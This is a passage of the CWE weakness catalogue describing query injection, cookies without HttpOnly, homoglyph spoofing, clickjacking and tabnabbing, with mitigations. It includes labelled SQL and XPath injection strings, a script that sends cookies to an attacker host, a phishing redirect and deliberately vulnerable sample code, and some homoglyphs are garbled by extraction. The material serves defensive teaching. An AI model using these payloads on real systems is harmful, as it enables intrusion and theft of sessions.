<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="SOAPAction">
<domain uri="*"/>
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>
```

These entries are far too permissive, allowing any Flash or Silverlight application to send requests. A malicious application hosted on any other web site will be able to send requests on behalf of any user tricked into executing it.

Observed Examples

Reference	Description
CVE-2012-2292	Product has a Silverlight cross-domain policy that does not restrict access to another application, which allows remote attackers to bypass the Same Origin Policy. *https://www.cve.org/CVERecord?id=CVE-2012-2292*
CVE-2014-2049	The default Flash Cross Domain policies in a product allows remote attackers to access user files. *https://www.cve.org/CVERecord?id=CVE-2014-2049*
CVE-2007-6243	Chain: Adobe Flash Player does not sufficiently restrict the interpretation and usage of cross-domain policy files, which makes it easier for remote attackers to conduct cross-domain and cross-site scripting (XSS) attacks. *https://www.cve.org/CVERecord?id=CVE-2007-6243*
CVE-2008-4822	Chain: Adobe Flash Player and earlier does not properly interpret policy files, which allows remote attackers to bypass a non-root domain policy. *https://www.cve.org/CVERecord?id=CVE-2008-4822*
CVE-2010-3636	Chain: Adobe Flash Player does not properly handle unspecified encodings during the parsing of a cross-domain policy file, which allows remote web servers to bypass intended access restrictions via unknown vectors. *https://www.cve.org/CVERecord?id=CVE-2010-3636*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2493
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

References

[REF-943]Apurva Udaykumar. "Setting a crossdomain.xml file for HTTP streaming". 2012 November 9. Adobe. < https://web.archive.org/web/20121124184922/http://www.adobe.com/devnet/adobe-media-server/articles/cross-domain-xml-for-streaming.html >.2023-04-07.

[REF-944]Adobe. "Cross-domain policy for Flash movies". Adobe. < http://kb2.adobe.com/cps/142/tn_14213.html >.

[REF-945]Microsoft Corporation. "HTTP Communication and Security with Silverlight". < https://learn.microsoft.com/en-us/previous-versions/windows/silverlight/dotnet-windows-silverlight/cc838250(v=vs.95)?redirectedfrom=MSDN >.2023-04-07.

[REF-946]Microsoft Corporation. "Network Security Access Restrictions in Silverlight". < https://learn.microsoft.com/en-us/previous-versions/windows/silverlight/dotnet-windows-silverlight/cc645032(v=vs.95) >.2023-04-07.

[REF-947]Dongseok Jang, Aishwarya Venkataraman, G. Michael Sawka and Hovav Shacham. "Analyzing the Crossdomain Policies of Flash Applications". 2011 May. < http://cseweb.ucsd.edu/~hovav/dist/crossdomain.pdf >.

CWE-943: Improper Neutralization of Special Elements in Data Query Logic

Weakness ID : 943
Structure : Simple
Abstraction : Class

Description

The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

Extended Description

Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:

- Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated
- Append additional commands to the query
- Return more entities than intended
- Return fewer entities than intended
- Cause entities to be sorted in an unexpected way

The ability to execute additional commands or change which entities are returned has obvious risks. But when the product logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges.

While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and "NoSQL" languages.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137
ParentOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	201
ParentOf	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	212
ParentOf	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	1419
ParentOf	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	1435

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2433

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Bypass Protection Mechanism	

Scope	Impact	Likelihood
Integrity Availability Access Control	Read Application Data Modify Application Data Varies by Context	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

Example Language: C# *(Bad)*

```
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

The query that this code intends to execute follows:

Example Language: *(Informative)*

```
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;
```

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

Example Language: *(Attack)*

```
name' OR 'a'='a
```

for itemName, then the query becomes the following:

Example Language: *(Attack)*

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```

The addition of the:

Example Language: *(Attack)*

```
OR 'a'='a
```

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

Example Language: *(Attack)*

```
SELECT * FROM items;
```

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 2:

The code below constructs an LDAP query using user input address data:

Example Language: Java *(Bad)*

```
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);
```

Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.

Example 3:

Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:

Example Language: XML *(Informative)*

```
<users>
  <user>
    <login>john</login>
    <password>abracadabra</password>
    <home_dir>/home/john</home_dir>
  </user>
  <user>
    <login>cbc</login>
    <password>1mgr8</password>
    <home_dir>/home/cbc</home_dir>
  </user>
</users>
```

The Java code used to retrieve the home directory based on the provided credentials is:

Example Language: Java *(Bad)*

```
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" +
login.getPassword() + "']/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
String homedir = xlogin.evaluate(d);
```

Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes

Example Language: *(Attack)*

```
//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()
```

This lets user "john" login without a valid password, thus bypassing authentication.

Observed Examples

Reference	Description
CVE-2014-2503	Injection using Documentum Query Language (DQL) *https://www.cve.org/CVERecord?id=CVE-2014-2503*
CVE-2014-2508	Injection using Documentum Query Language (DQL) *https://www.cve.org/CVERecord?id=CVE-2014-2508*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2435
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535

Notes

Relationship

It could be argued that data query languages are effectively a command language - albeit with a limited set of commands - and thus any query-language injection issue could be treated as a child of CWE-74. However, CWE-943 is intended to better organize query-oriented issues to separate them from fully-functioning programming languages, and also to provide a more precise identifier for the many query languages that do not have their own CWE identifier.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
676	NoSQL Injection

CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag

Weakness ID : 1004
Structure : Simple
Abstraction : Variant

Description

The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

Extended Description

The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	732	Incorrect Permission Assignment for Critical Resource	1551

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Background Details

An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.*	
Integrity	Gain Privileges or Assume Identity *If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Effectiveness = High

While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie.

Demonstrative Examples

Example 1:

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

Example Language: Java *(Bad)*

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
```

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

Example Language: JavaScript *(Attack)*

```
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
```

When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

To mitigate the risk, use the setHttpOnly(true) method.

Example Language: Java *(Good)*

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
```

Observed Examples

Reference	Description
CVE-2022-24045	Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed. *https://www.cve.org/CVERecord?id=CVE-2022-24045*
CVE-2014-3852	CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie. *https://www.cve.org/CVERecord?id=CVE-2014-3852*
CVE-2015-4138	Appliance for managing encrypted communications does not use HttpOnly flag. *https://www.cve.org/CVERecord?id=CVE-2015-4138*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2493
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

References

[REF-2]OWASP. "HttpOnly". < https://owasp.org/www-community/HttpOnly >.2023-04-07.

[REF-3]Michael Howard. "Some Bad News and Some Good News". 2002. < https://learn.microsoft.com/en-us/previous-versions/ms972826(v=msdn.10)?redirectedfrom=MSDN >.2023-04-07.

[REF-4]Troy Hunt. "C is for cookie, H is for hacker - understanding HTTP only and Secure cookies". 2013 March 6. < https://www.troyhunt.com/c-is-for-cookie-h-is-for-hacker/ >.

[REF-5]Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". < https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN >.2023-04-07.

CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User

Weakness ID : 1007
Structure : Simple
Abstraction : Base

Description

The product displays information or identifiers to a user, but the display mechanism does not make it easy for the user to distinguish between visually similar or identical glyphs (homoglyphs), which may cause the user to misinterpret a glyph and perform an unintended, insecure action.

Extended Description

Some glyphs, pictures, or icons can be semantically distinct to a program, while appearing very similar or identical to a human user. These are referred to as homoglyphs. For example, the lowercase "l" (ell) and uppercase "I" (eye) have different character codes, but these characters can be displayed in exactly the same way to a user, depending on the font. This can also occur between different character sets. For example, the Latin capital letter "A" and the Greek capital letter "#" (Alpha) are treated as distinct by programs, but may be displayed in exactly the same way to a user. Accent marks may also cause letters to appear very similar, such as the Latin capital letter grave mark "À" and its equivalent "Á" with the acute accent.

Adversaries can exploit this visual similarity for attacks such as phishing, e.g. by providing a link to an attacker-controlled hostname that looks like a hostname that the victim trusts. In a different use of homoglyphs, an adversary may create a back door username that is visually similar to the username of a regular user, which then makes it more difficult for a system administrator to detect the malicious username while reviewing logs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	451	User Interface (UI) Misrepresentation of Critical Information	1079

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	2320

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Sometimes)*

Alternate Terms

Homograph Attack : "Homograph" is often used as a synonym of "homoglyph" by researchers, but according to Wikipedia, a homograph is a word that has multiple, distinct meanings.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Other *An attacker may ultimately redirect a user to a malicious website, by deceiving the user into believing the URL they are accessing is a trusted domain. However, the attack can also be used to forge log entries by using homoglyphs in usernames. Homoglyph manipulations are often the first step towards executing advanced attacks such as stealing a user's credentials, Cross-Site Scripting (XSS), or log forgery. If an attacker redirects a user to a malicious site, the attacker can mimic a trusted domain to steal account credentials and perform actions on behalf of the user, without the user's knowledge. Similarly, an attacker could create a username for a website that contains homoglyph characters, making it difficult for an admin to review logs and determine which users performed which actions.*	

Detection Methods

Manual Dynamic Analysis

If utilizing user accounts, attempt to submit a username that contains homoglyphs. Similarly, check to see if links containing homoglyphs can be sent via email, web browsers, or other mechanisms.

Effectiveness = Moderate

Potential Mitigations

Phase: Implementation

Use a browser that displays Punycode for IDNs in the URL and status bars, or which color code various scripts in URLs. Due to the prominence of homoglyph attacks, several browsers now help safeguard against this attack via the use of Punycode. For example, Mozilla Firefox and Google Chrome will display IDNs as Punycode if top-level domains do not restrict which characters can be used in domain names or if labels mix scripts for different languages.

Phase: Implementation

Use an email client that has strict filters and prevents messages that mix character sets to end up in a user's inbox. Certain email clients such as Google's GMail prevent the use of non-Latin characters in email addresses or in links contained within emails. This helps prevent homoglyph attacks by flagging these emails and redirecting them to a user's spam folder.

Demonstrative Examples

Example 1:

The following looks like a simple, trusted URL that a user may frequently access.

Example Language: *(Attack)*

```
http://www.#x#m#l#.##m
```

However, the URL above is comprised of Cyrillic characters that look identical to the expected ASCII characters. This results in most users not being able to distinguish between the two and assuming that the above URL is trusted and safe. The "e" is actually the "CYRILLIC SMALL LETTER IE" which is represented in HTML as the character &#x435, while the "a" is actually the "CYRILLIC SMALL LETTER A" which is represented in HTML as the character &#x430. The "p", "c", and "o" are also Cyrillic characters in this example. Viewing the source reveals a URL of "http://www.&#x435;x&#x430;m&#x440;l&#x435;.&#x441;&#x43e;m". An adversary can utilize this approach to perform an attack such as a phishing attack in order to drive traffic to a malicious website.

Example 2:

The following displays an example of how creating usernames containing homoglyphs can lead to log forgery.

Assume an adversary visits a legitimate, trusted domain and creates an account named "admin", except the 'a' and 'i' characters are Cyrillic characters instead of the expected ASCII. Any actions the adversary performs will be saved to the log file and look like they came from a legitimate administrator account.

Example Language: *(Result)*

```
123.123.123.123 #dm#n [17/Jul/2017:09:05:49 -0400] "GET /example/users/userlist HTTP/1.1" 401 12846
123.123.123.123 #dm#n [17/Jul/2017:09:06:51 -0400] "GET /example/users/userlist HTTP/1.1" 200 4523
123.123.123.123 admin [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
```

Upon closer inspection, the account that generated three of these log entries is "&#x430;dm&#x456;n". Only the third log entry is by the legitimate admin account. This makes it more difficult to determine which actions were performed by the adversary and which actions were executed by the legitimate "admin" account.

Observed Examples

Reference	Description
CVE-2013-7236	web forum allows impersonation of users with homoglyphs in account names *https://www.cve.org/CVERecord?id=CVE-2013-7236*
CVE-2012-0584	Improper character restriction in URLs in web browser *https://www.cve.org/CVERecord?id=CVE-2012-0584*
CVE-2009-0652	Incomplete denylist does not include homoglyphs of "/" and "?" characters in URLs *https://www.cve.org/CVERecord?id=CVE-2009-0652*
CVE-2017-5015	web browser does not convert hyphens to punycode, allowing IDN spoofing in URLs *https://www.cve.org/CVERecord?id=CVE-2017-5015*
CVE-2005-0233	homoglyph spoofing using punycode in URLs and certificates *https://www.cve.org/CVERecord?id=CVE-2005-0233*
CVE-2005-0234	homoglyph spoofing using punycode in URLs and certificates *https://www.cve.org/CVERecord?id=CVE-2005-0234*
CVE-2005-0235	homoglyph spoofing using punycode in URLs and certificates *https://www.cve.org/CVERecord?id=CVE-2005-0235*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
632	Homograph Attack via Homoglyphs

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-8]Gregory Baatard and Peter Hannay. "The 2011 IDN Homograph Attack Mitigation Survey". 2012. ECU Publications. < http://ro.ecu.edu.au/cgi/viewcontent.cgi?article=1174&context=ecuworks2012 >.

CWE-1021: Improper Restriction of Rendered UI Layers or Frames

Weakness ID : 1021
Structure : Simple
Abstraction : Base

Description

The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain, which can lead to user confusion about which interface the user is interacting with.

Extended Description

A web application is expected to place restrictions on whether it is allowed to be rendered within frames, iframes, objects, embed or applet elements. Without the restrictions, users can be tricked into interacting with the application when they were not intending to.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	🟢	451	User Interface (UI) Misrepresentation of Critical Information	1079
ChildOf	🟢	441	Unintended Proxy or Intermediary ('Confused Deputy')	1064

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	🟢	610	Externally Controlled Reference to a Resource in Another Sphere	1364

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	🟥	355	User Interface Security Issues	2320

Applicable Platforms

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

Clickjacking :

UI Redress Attack :

Tapjacking : "Tapjacking" is similar to clickjacking, except it is used for mobile applications in which the user "taps" the application instead of performing a mouse click.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism Read Application Data Modify Application Data *An attacker can trick a user into performing actions that are masked and hidden from the user's view. The impact varies widely, depending on the functionality of the underlying application. For example, in a social media application, clickjacking could be used to trik the user into changing privacy settings.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

The use of X-Frame-Options allows developers of web content to restrict the usage of their application within the form of overlays, frames, or iFrames. The developer can indicate from which domains can frame the content. The concept of X-Frame-Options is well documented, but implementation of this protection mechanism is in development to cover gaps. There is a need for allowing frames from multiple domains.

Phase: Implementation

A developer can use a "frame-breaker" script in each page that should not be framed. This is very helpful for legacy browsers that do not support X-Frame-Options security feature previously mentioned. It is also important to note that this tactic has been circumvented or bypassed. Improper usage of frames can persist in the web application through nested frames. The "frame-breaking" script does not intuitively account for multiple nested frames that can be presented to the user.

Phase: Implementation

This defense-in-depth technique can be used to prevent the improper usage of frames in web applications. It prioritizes the valid sources of data to be loaded into the application through the usage of declarative policies. Based on which implementation of Content Security Policy is in use, the developer should use the "frame-ancestors" directive or the "frame-src" directive to mitigate this weakness. Both directives allow for the placement of restrictions when it comes to allowing embedded content.

Observed Examples

Reference	Description
CVE-2017-7440	E-mail preview feature in a desktop application allows clickjacking attacks via a crafted e-mail message *https://www.cve.org/CVERecord?id=CVE-2017-7440*
CVE-2017-5697	Hardware/firmware product has insufficient clickjacking protection in its web user interface *https://www.cve.org/CVERecord?id=CVE-2017-5697*
CVE-2017-4015	Clickjacking in data-loss prevention product via HTTP response header. *https://www.cve.org/CVERecord?id=CVE-2017-4015*
CVE-2016-2496	Tapjacking in permission dialog for mobile OS allows access of private storage using a partially-overlapping window. *https://www.cve.org/CVERecord?id=CVE-2016-2496*
CVE-2015-1241	Tapjacking in web browser related to page navigation and touch/gesture events. *https://www.cve.org/CVERecord?id=CVE-2015-1241*
CVE-2017-0492	System UI in mobile OS allows a malicious application to create a UI overlay of the entire screen to gain privileges. *https://www.cve.org/CVERecord?id=CVE-2017-0492*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
103	Clickjacking
181	Flash File Overlay
222	iFrame Overlay
504	Task Impersonation
506	Tapjacking
587	Cross Frame Scripting (XFS)
654	Credential Prompt Impersonation

References

[REF-35]Andrew Horton. "Clickjacking For Shells". < https://www.exploit-db.com/docs/17881.pdf >.

[REF-36]OWASP. "Clickjacking - OWASP". < https://owasp.org/www-community/attacks/Clickjacking >.2023-04-07.

[REF-37]Internet Security. "SecTheory". < https://www.sectheory.com/clickjacking.htm >.2023-04-07.

[REF-38]W3C. "Content Security Policy Level 3". < https://w3c.github.io/webappsec-csp/ >.

CWE-1022: Use of Web Link to Untrusted Target with window.opener Access

Weakness ID : 1022
Structure : Simple
Abstraction : Variant

Description

The web application produces links to untrusted external sites outside of its sphere of control, but it does not properly prevent the external site from modifying security-critical properties of the window.opener object, such as the location property.

Extended Description

When a user clicks a link to an external site ("target"), the target="_blank" attribute causes the target site's contents to be opened in a new window or tab, which runs in the same process as the original page. The window.opener object records information about the original page that offered the link. If an attacker can run script on the target page, then they could read or modify certain properties of the window.opener object, including the location property - even if the original and target site are not the same origin. An attacker can modify the location property to automatically redirect the user to a malicious site, e.g. as part of a phishing attack. Since this redirect happens in the original window/tab - which is not necessarily visible, since the browser is focusing the display on the new target page - the user might not notice any suspicious redirection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	266	Incorrect Privilege Assignment	638

Applicable Platforms

Language : JavaScript *(Prevalence = Often)*

Technology : Web Based *(Prevalence = Often)*

Alternate Terms

tabnabbing :

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Alter Execution Logic *The user may be redirected to an untrusted page that contains undesired content or malicious script code.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Specify in the design that any linked external document must not be granted access to the location object of the calling page.

Phase: Implementation

When creating a link to an external document using the <a> tag with a defined target, for example "_blank" or a named frame, provide the rel attribute with a value "noopener noreferrer". If opening the external document in a new window via javascript, then reset the opener by setting it equal to null.

Phase: Implementation

Do not use "_blank" targets. However, this can affect the usability of the application.

Demonstrative Examples

Example 1:

In this example, the application opens a link in a named window/tab without taking precautions to prevent the called page from tampering with the calling page's location in the browser.

There are two ways that this weakness is commonly seen. The first is when the application generates an <a> tag is with target="_blank" to point to a target site:

Example Language: HTML *(Bad)*

```
<a href="http://attacker-site.example.com/useful-page.html" target="_blank">
```

If the attacker offers a useful page on this link (or compromises a trusted, popular site), then a user may click on this link. However, the attacker could use scripting code to modify the window.opener's location property to redirect the application to a malicious, attacker-controlled page - such as one that mimics the look and feel of the original application and convinces the user to re-enter authentication credentials, i.e. phishing:

Example Language: JavaScript *(Attack)*

```
window.opener.location = 'http://phishing.example.org/popular-bank-page';
```

To mitigate this type of weakness, some browsers support the "rel" attribute with a value of "noopener", which sets the window.opener object equal to null. Another option is to use the "rel" attribute with a value of "noreferrer", which in essence does the same thing.

Example Language: HTML *(Good)*

```
<a href="http://attacker-site.example.com/useful-page.html" target="_blank" rel="noopener noreferrer">
```

A second way that this weakness is commonly seen is when opening a new site directly within JavaScript. In this case, a new site is opened using the window.open() function.

Example Language: JavaScript *(Bad)*

```
var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");
```

To mitigate this, set the window.opener object to null.

Example Language: JavaScript *(Good)*

```
var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");
newWindow.opener = null;
```

Observed Examples

Reference	Description
CVE-2022-4927	Library software does not use rel: "noopener noreferrer" setting, allowing tabnabbing attacks to redirect to a malicious page *https://www.cve.org/CVERecord?id=CVE-2022-4927*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

References

[REF-39]Alex Yumashev. "Target="_blank" - the most underestimated vulnerability ever". 2016 May 4. < https://medium.com/@jitbit/target-blank-the-most-underestimated-vulnerability-ever-96e328301f4c >.

[REF-40]Ben Halpern. "The target="_blank" vulnerability by example". 2016 September 1. < https://dev.to/ben/the-targetblank-vulnerability-by-example >.

[REF-958]Mathias Bynens. "About rel=noopener". 2016 March 5. < https://mathiasbynens.github.io/rel-noopener/ >.

CWE-1023: Incomplete Comparison with Missing Factors

Weakness ID : 1023
Structure : Simple
Abstraction : Class

Description

The product performs a comparison between entities that must consider multiple factors or characteristics of each entity, but the comparison does not include one or more of these factors.

Extended Description

An incomplete comparison can lead to resultant weaknesses, e.g., by operating on the wrong object or making a security decision without considering a required factor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1530
ParentOf	B	184	Incomplete List of Disallowed Inputs	459
ParentOf	V	187	Partial String Comparison	467
